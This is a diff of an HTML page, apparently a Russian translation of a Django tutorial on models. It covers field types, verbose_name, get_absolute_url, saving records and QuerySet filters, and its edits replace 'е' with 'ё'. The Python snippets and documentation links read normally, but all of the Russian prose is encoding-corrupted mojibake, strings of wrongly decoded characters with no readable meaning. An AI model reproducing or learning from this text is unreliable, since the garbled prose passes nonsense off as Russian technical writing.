ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>auto_now=True</code> (для установки поля Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ Π΄Π°Ρ‚Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° модСль сохраняСтся), auto_now_add (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для установки Π΄Π°Ρ‚Ρ‹, ΠΊΠΎΠ³Π΄Π° модСль Π±Ρ‹Π»Π° Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ создана) ΠΈ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ).</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.EmailField">EmailField</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для хранСния ΠΈ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ адрСсов элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹.</li>
<li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.FileField">FileField</a> ΠΈ <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.ImageField">ImageField</a> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ соотвСтствСнно ( <code>ImageField</code> просто добавляСт Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ, Ρ‡Ρ‚ΠΎ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» являСтся ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ). Они ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ для опрСдСлСния Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈ Π³Π΄Π΅ хранятся Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹.</li>
@@ -160,7 +160,7 @@ class MyModelName(models.Model):
<p>Книги Π±ΡƒΠ΄ΡƒΡ‚ отсортированы ΠΏΠΎ Π°Π»Ρ„Π°Π²ΠΈΡ‚Ρƒ ΠΏΠΎ названию, ΠΎΡ‚ A-Z, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎ Π΄Π°Ρ‚Π΅ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ названия, ΠΎΡ‚ самого Π½ΠΎΠ²ΠΎΠ³ΠΎ Π΄ΠΎ самого старого.</p>
-<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ распространСнным Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ являСтся verbose_name, ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ имя для класса Π² СдинствСнной ΠΈ мноТСствСнной Ρ„ΠΎΡ€ΠΌΠ΅:</p>
+<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ распространённым Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ являСтся verbose_name, ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ имя для класса Π² СдинствСнной ΠΈ мноТСствСнной Ρ„ΠΎΡ€ΠΌΠ΅:</p>
<pre class="brush: python notranslate">verbose_name = "BetterName"</pre>
@@ -173,7 +173,7 @@ class MyModelName(models.Model):
<pre class="brush: python notranslate">def __str__(self):
Β  return self.field_name</pre>
-<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ распространСнным ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ Django являСтся get_absolute_url (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ URL-адрСс для отобраТСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… записСй ΠΌΠΎΠ΄Π΅Π»ΠΈ Π½Π° Π²Π΅Π±-сайтС (Ссли Π²Ρ‹ опрСдСляСтС этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚ΠΎΠ³Π΄Π° Django автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Β ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ Π½Π° сайтС» Π½Π° экранах рСдактирования записСй ΠΌΠΎΠ΄Π΅Π»ΠΈ Π½Π° сайтС администратора). Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ шаблон для get_absolute_url () ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅.</p>
+<p>Π”Ρ€ΡƒΠ³ΠΈΠΌ распространённым ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² ΠΌΠΎΠ΄Π΅Π»ΠΈ Django являСтся get_absolute_url (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ URL-адрСс для отобраТСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… записСй ΠΌΠΎΠ΄Π΅Π»ΠΈ Π½Π° Π²Π΅Π±-сайтС (Ссли Π²Ρ‹ опрСдСляСтС этот ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚ΠΎΠ³Π΄Π° Django автоматичСски Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Β ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ Π½Π° сайтС» Π½Π° экранах рСдактирования записСй ΠΌΠΎΠ΄Π΅Π»ΠΈ Π½Π° сайтС администратора). Π’ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΉ шаблон для get_absolute_url () ΠΏΠΎΠΊΠ°Π·Π°Π½ Π½ΠΈΠΆΠ΅.</p>
<pre class="brush: python notranslate">def get_absolute_url(self):
"""
@@ -183,9 +183,9 @@ class MyModelName(models.Model):
</pre>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ URL-адрСса, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ / myapplication / mymodelname / 2, для отобраТСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… записСй для вашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π³Π΄Π΅ Β«2Β» - это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ записи), Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-ΠΊΠ°Ρ€Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Β«ΠžΠ±Ρ€Π°Π·Ρ†ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΌΠΎΠ΄Π΅Π»ΠΈΒ» (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для отобраТСния записи). Π’Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Π°Ρ функция reverse () ΠΌΠΎΠΆΠ΅Ρ‚ Β«ΠΏΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΒ» ваш URL-адрСс (Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ Β«model-detail-viewΒ»), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-адрСс ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ URL-адрСса, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ / myapplication / mymodelname / 2, для отобраТСния ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… записСй для вашСй ΠΌΠΎΠ΄Π΅Π»ΠΈ (Π³Π΄Π΅ Β«2Β» - это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ записи), Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-ΠΊΠ°Ρ€Ρ‚Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Β«ΠžΠ±Ρ€Π°Π·Ρ†ΠΎΠ²ΠΎΠ΅ прСдставлСниС ΠΌΠΎΠ΄Π΅Π»ΠΈΒ» (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для отобраТСния записи). Π’Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Π°Ρ функция reverse () ΠΌΠΎΠΆΠ΅Ρ‚ Β«ΠΏΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΒ» ваш URL-адрСс (Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ с ΠΈΠΌΠ΅Π½Π΅ΠΌ Β«model-detail-viewΒ»), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ URL-адрСс ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°.</p>
-<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, для выполнСния этой Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придСтся ΠΏΠΈΡΠ°Ρ‚ΡŒ сопоставлСниС URL-адрСс, просмотр ΠΈ шаблон!</p>
+<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, для выполнСния этой Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π²Π°ΠΌ всС Ρ€Π°Π²Π½ΠΎ придётся ΠΏΠΈΡΠ°Ρ‚ΡŒ сопоставлСниС URL-адрСс, просмотр ΠΈ шаблон!</p>
</div>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ нравятся, ΠΈ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΡ… ΠΈΠ· вашСго ΠΊΠΎΠ΄Π° ΠΈΠ»ΠΈ шаблонов (ΠΏΡ€ΠΈ условии, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²).</p>
@@ -209,7 +209,7 @@ a_record.save()
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. Если Π²Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π»ΠΈ ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ»Π΅ Π² качСствС primary_key, новая запись Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒΡΡ автоматичСски, с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ ΠΈΠΌΠ΅Π½ΠΈ поля. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ это ΠΏΠΎΠ»Π΅ послС сохранСния ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π²Ρ‹ΡˆΠ΅ записи, ΠΈ ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1.</p>
</div>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ полям Π² этой Π½ΠΎΠ²ΠΎΠΉ записи с использованиСм синтаксиса Ρ‚ΠΎΡ‡Π΅ΠΊ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ значСния. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ save (), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Π΅ значСния Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ полям Π² этой Π½ΠΎΠ²ΠΎΠΉ записи с использованиСм синтаксиса Ρ‚ΠΎΡ‡Π΅ΠΊ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ значСния. Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ save (), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹Π΅ значСния Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ….</p>
<pre class="brush: python notranslate"># Access model field values using Python attributes.
print(a_record.id) #should return 1 for the first record.
@@ -221,10 +221,10 @@ a_record.save()</pre>
<h4 id="Поиск_записСй">Поиск записСй</h4>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΊΠ°Ρ‚ΡŒ записи, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ критСриям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ΄Π΅Π»ΠΈ (прСдоставляСмый Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ классом).</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΊΠ°Ρ‚ΡŒ записи, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ критСриям, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΌΠΎΠ΄Π΅Π»ΠΈ (прСдоставляСмый Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ классом).</p>
<div class="note">
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ОбъяснСниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΊΠ°Ρ‚ΡŒ записи, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Β«Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ‚Π½ΡƒΡŽΒ» модСль ΠΈ ΠΈΠΌΠ΅Π½Π° ΠΏΠΎΠ»Π΅ΠΉ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ обсуТдСнии ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° модСль ΠΊΠ½ΠΈΠ³ΠΈ с полями названия ΠΈ ΠΆΠ°Π½Ρ€Π°, Π³Π΄Π΅ ΠΆΠ°Π½Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ являСтся модСлью с СдинствСнным ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² ΠΏΠΎΠ»Π΅.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅. ОбъяснСниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΊΠ°Ρ‚ΡŒ записи, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Β«Π°Π±ΡΡ‚Ρ€Π°ΠΊΡ‚Π½ΡƒΡŽΒ» модСль ΠΈ ΠΈΠΌΠ΅Π½Π° ΠΏΠΎΠ»Π΅ΠΉ, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹ΠΌ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ обсуТдСнии ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° модСль ΠΊΠ½ΠΈΠ³ΠΈ с полями названия ΠΈ ΠΆΠ°Π½Ρ€Π°, Π³Π΄Π΅ ΠΆΠ°Π½Ρ€ Ρ‚Π°ΠΊΠΆΠ΅ являСтся модСлью с СдинствСнным ΠΈΠΌΠ΅Π½Π΅ΠΌ Π² ΠΏΠΎΠ»Π΅.</p>
</div>
<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ всС записи для ΠΌΠΎΠ΄Π΅Π»ΠΈ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ QuerySet,Β Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ <code>objects.all()</code>. QuerySet - это ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰ΠΈΠΉ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ содСрТит нСсколько ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Ρ‚ΡŒ / ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ.</p>
@@ -238,22 +238,22 @@ a_record.save()</pre>
number_wild_books = Book.objects.filter(title__contains='wild').count()
</pre>
-<p>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ поля ΠΈ Ρ‚ΠΈΠΏ соотвСтствия ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚: <code>field_name__match_type </code>(ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌΒ Π²Ρ‹ΡˆΠ΅). Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΠ΅ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ рСгистра. Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² совпадСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ: <code>icontains</code> (Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра), <code>iexact </code>(Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ совпадСниС бСз учСта рСгистра), <code>exact </code>(Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ совпадСниС с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ рСгистра ) ΠΈ <code>in</code>, <code>gt </code>(большС), <code>startswith</code> ΠΈ Ρ‚. Π΄ <a href="https://docs.djangoproject.com/en/2.2/ref/models/querysets/#field-lookups">ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ список </a>(Django Docs, [EN]).</p>
+<p>Π‘ΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ поля ΠΈ Ρ‚ΠΈΠΏ соотвСтствия ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΈΠΌΠ΅Π½ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚: <code>field_name__match_type </code>(ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄Π²ΠΎΠΉΠ½ΠΎΠ΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌΒ Π²Ρ‹ΡˆΠ΅). Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ΡƒΠ΅ΠΌ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ рСгистра. Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² совпадСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ: <code>icontains</code> (Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра), <code>iexact </code>(Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ совпадСниС бСз учёта рСгистра), <code>exact </code>(Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ совпадСниС с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ рСгистра ) ΠΈ <code>in</code>, <code>gt </code>(большС), <code>startswith</code> ΠΈ Ρ‚. Π΄ <a href="https://docs.djangoproject.com/en/2.2/ref/models/querysets/#field-lookups">ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΏΠΎΠ»Π½Ρ‹ΠΉ список </a>(Django Docs, [EN]).</p>
